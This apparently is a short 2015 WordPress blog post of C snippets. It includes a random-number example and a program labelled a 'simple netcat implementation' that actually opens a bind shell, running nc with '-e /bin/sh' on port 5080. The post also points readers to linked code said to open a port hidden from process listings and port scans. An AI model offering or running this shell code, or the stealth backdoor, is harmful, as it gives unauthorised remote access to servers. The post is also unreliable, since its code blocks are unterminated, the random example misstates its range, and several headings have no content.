A simple random number routine in C.

Posted: August 17, 2015. At: 1:50 PM. This was 2 years ago. Post ID: 8317
Page permalink.
WordPress uses cookies, or tiny pieces of information stored on your computer, to verify who you are. There are cookies for logged in users and for commenters. These cookies expire two weeks after they are set.

This is a simple random number example in C. This will print a random number from 1 – 64.

#include <stdio.h>
#include <stdlib.h>
int main (void) {
	int r = rand() % 64;
	printf("Random INT: %i\n", r);
	return 0;

This code is a simple netcat implementation that will open a listening port on 5080.

#include <stdio.h>
#include <unistd.h>
int main (void) {
	extern char * const environ[];
	char * const command[] = {"nc", "-l", "-p", "5080", "-e", "/bin/sh", NULL};
	execve("/bin/nc", command, environ);
	return 0;

Printing out a file to the terminal using C.


This code that I found: http://paste.scratchbook.ch/view/6f74b58f can run on a Linux machine and open a port invisibly. This allows access to a Linux server without the process showing in process manager and on a port scan of the machine.

C code that will print a tick sign to the terminal using asterisks. Very cool and useful code.


How to do a function call in C.


No comments have been made. Use this form to start the conversation :)

Leave a Reply